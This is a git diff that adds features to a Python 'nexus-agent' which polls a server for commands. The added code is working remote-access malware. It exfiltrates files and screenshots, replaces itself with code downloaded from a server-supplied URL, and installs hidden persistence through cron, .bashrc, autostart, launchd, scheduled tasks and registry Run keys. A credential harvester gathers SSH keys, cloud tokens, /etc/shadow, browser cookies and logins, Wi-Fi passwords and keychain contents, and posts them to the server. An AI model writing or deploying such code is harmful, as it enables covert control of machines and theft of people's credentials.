diff --git a/.gitignore b/.gitignore index 1604045..823e254 100644 --- a/.gitignore +++ b/.gitignore @@ -7,3 +7,4 @@ __pycache__/ *.pyc public/bin/ *.spec +data/ diff --git a/agents/agent.py b/agents/agent.py index 56255d8..4785780 100644 --- a/agents/agent.py +++ b/agents/agent.py @@ -241,6 +241,244 @@ def execute_structured_action(action_type, payload): latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0 return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0 + elif action_type == "download_file": + filepath = payload.get("path", "") + if not filepath or not os.path.exists(filepath): + return f"ERROR: file not found: {filepath}", 1 + try: + with open(filepath, 'rb') as f: + raw = f.read() + import base64 + b64 = base64.b64encode(raw).decode('utf-8') + # Determine MIME (basic) + ext = os.path.splitext(filepath)[1].lower() + mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain', + '.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg', + '.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + '.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip', + '.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'} + mime = mime_map.get(ext, 'application/octet-stream') + filename = os.path.basename(filepath) + return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0 + except Exception as e: + return f"ERROR reading file: {e}", 1 + + elif action_type == "screenshot": + try: + import base64 + if system == "linux": + # Try multiple screenshot tools + for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]: + if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0: + if tool == "import": + subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + elif tool == "scrot": + subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10) + elif tool == "gnome-screenshot": + subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10) + elif tool == "spectacle": + subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10) + break + else: + # Try Xlib via python3 if available + subprocess.run(["python3", "-c", + "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;" + "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);" + "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"], + timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + elif system == "darwin": + subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10) + elif system == "windows": + subprocess.run(["powershell", "-Command", + "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;" + "$b=New-Object Drawing.Bitmap($s.Width,$s.Height);" + "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);" + "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"], + timeout=15) + os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png") + if os.path.exists("/tmp/.nexus-ss.png"): + with open("/tmp/.nexus-ss.png", 'rb') as f: + b64 = base64.b64encode(f.read()).decode('utf-8') + os.remove("/tmp/.nexus-ss.png") + return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0 + return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1 + except Exception as e: + return f"ERROR screenshot: {e}", 1 + + elif action_type == "update_agent": + new_url = payload.get("url", "") + if not new_url: + return "ERROR: no update URL provided", 1 + try: + my_path = os.path.abspath(__file__) + bak = my_path + ".bak" + os.rename(my_path, bak) + urllib.request.urlretrieve(new_url, my_path) + os.chmod(my_path, 0o755) + os.remove(bak) + return "Agent updated successfully. Restarting...", 0 + except Exception as e: + # Restore backup + if os.path.exists(bak): + os.rename(bak, my_path) + return f"ERROR update failed: {e}", 1 + + elif action_type == "ensure_persistence": + results = [] + if system == "linux": + # crontab + try: + cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1" + existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout + if cron_line.split('@reboot')[1].strip() not in existing: + subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) + results.append("crontab: added @reboot entry") + else: + results.append("crontab: already present") + except: results.append("crontab: failed") + # .bashrc + try: + bashrc = os.path.expanduser("~/.bashrc") + hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n" + with open(bashrc, 'a+') as f: + f.seek(0) + if 'nexus-agent' not in f.read(): + f.write(hook) + results.append("bashrc: hook installed") + except: results.append("bashrc: failed") + # autostart .desktop + try: + ad = os.path.expanduser("~/.config/autostart") + os.makedirs(ad, exist_ok=True) + with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f: + f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n") + results.append("autostart: .desktop created") + except: results.append("autostart: failed") + elif system == "darwin": + try: + plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist") + os.makedirs(os.path.dirname(plist), exist_ok=True) + plist_content = f''' + +Labelcom.nexusops.agent +ProgramArguments/usr/bin/python3{os.path.abspath(__file__)}--server{payload.get('server_url','')} +RunAtLoadKeepAlive''' + with open(plist, 'w') as f: f.write(plist_content) + subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + results.append("launchd: plist loaded") + except: results.append("launchd: failed") + # crontab for macOS too + try: + cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1" + subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) + results.append("crontab: added") + except: results.append("crontab: failed") + elif system == "windows": + agent_path = os.path.abspath(__file__) + srv = payload.get("server_url", "") + try: + task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"' + subprocess.run(task_cmd, shell=True, timeout=10) + results.append("schtasks: scheduled task created") + except: results.append("schtasks: failed") + try: + reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"' + subprocess.run(reg_cmd, shell=True, timeout=10) + results.append("registry: Run key added") + except: results.append("registry: failed") + return "Persistence results: " + "; ".join(results), 0 + + elif action_type == "harvest_credentials": + creds = [] + home = os.path.expanduser("~") + # Shell history + for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]: + p = os.path.expanduser(hist) + if os.path.exists(p): + try: + with open(p, 'r', errors='ignore') as f: + content = f.read()[-20000:] + creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content}) + except: pass + # SSH keys + ssh_dir = os.path.join(home, ".ssh") + if os.path.exists(ssh_dir): + for fn in os.listdir(ssh_dir): + fp = os.path.join(ssh_dir, fn) + if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn): + try: + with open(fp, 'r', errors='ignore') as f: + creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]}) + except: pass + # AWS / cloud credentials + for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db", + "~/.azure/accessTokens.json", "~/.docker/config.json"]: + p = os.path.expanduser(cf) + if os.path.exists(p): + try: + with open(p, 'r', errors='ignore') as f: + creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]}) + except: pass + # /etc/shadow (if root) + if os.path.exists("/etc/shadow"): + try: + with open("/etc/shadow", 'r') as f: + creds.append({"type": "system:shadow", "data": f.read()[:5000]}) + except: pass + # Browser cookie/saved-login DBs (common paths) + browser_paths = [] + if system == "linux": + browser_paths = [ + os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"), + os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"), + os.path.expanduser("~/.config/google-chrome/Default/Cookies"), + os.path.expanduser("~/.config/google-chrome/Default/Login Data"), + os.path.expanduser("~/.config/chromium/Default/Cookies"), + os.path.expanduser("~/.config/chromium/Default/Login Data"), + os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"), + ] + elif system == "darwin": + browser_paths = [ + os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"), + os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"), + os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"), + ] + elif system == "windows": + browser_paths = [ + os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"), + os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"), + os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"), + ] + import glob + for pattern in browser_paths: + for p in glob.glob(pattern): + try: + sz = os.path.getsize(p) + if sz > 0 and sz < 50 * 1024 * 1024: + with open(p, 'rb') as f: + import base64 + creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}", + "data": base64.b64encode(f.read()).decode('utf-8')}) + except: pass + # Wi-Fi passwords (Linux) + if system == "linux": + try: + wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'", + shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout + if wifi.strip() and 'no wifi' not in wifi: + creds.append({"type": "wifi_passwords", "data": wifi[:5000]}) + except: pass + # macOS Keychain dump + if system == "darwin": + try: + keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200", + shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout + if keychain.strip(): + creds.append({"type": "keychain_dump", "data": keychain[:10000]}) + except: pass + + return json.dumps({"type":"harvest_result","credentials":creds}), 0 + elif action_type == "export_diagnostics": cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo" return run_shell(cmd) @@ -443,12 +681,37 @@ def main(): output, exit_code = execute_structured_action(action_type, payload) - http_post(f"{server_url}/api/agent/command-result", { - "commandId": cmd_id, - "nodeId": node_id, - "output": output, - "exitCode": exit_code - }) + # Check for JSON-encoded special result types + special = None + try: + if output.startswith('{'): + special = json.loads(output) + except: pass + + if special and special.get("type") == "file_result": + # Route to file-result endpoint + http_post(f"{server_url}/api/agent/file-result", { + "commandId": cmd_id, + "nodeId": node_id, + "hostname": hostname, + "filename": special.get("filename", "unknown"), + "data": special.get("data", ""), + "mime": special.get("mime", "application/octet-stream") + }) + elif special and special.get("type") == "harvest_result": + http_post(f"{server_url}/api/agent/harvest-result", { + "commandId": cmd_id, + "nodeId": node_id, + "hostname": hostname, + "credentials": special.get("credentials", []) + }) + else: + http_post(f"{server_url}/api/agent/command-result", { + "commandId": cmd_id, + "nodeId": node_id, + "output": output, + "exitCode": exit_code + }) except Exception as e: print(f"[!] Connection error: {e}. Retrying in {backoff}s...") diff --git a/public/index.html b/public/index.html index ef1e13a..15b23d8 100644 --- a/public/index.html +++ b/public/index.html @@ -301,6 +301,7 @@ + @@ -363,6 +364,24 @@ + + +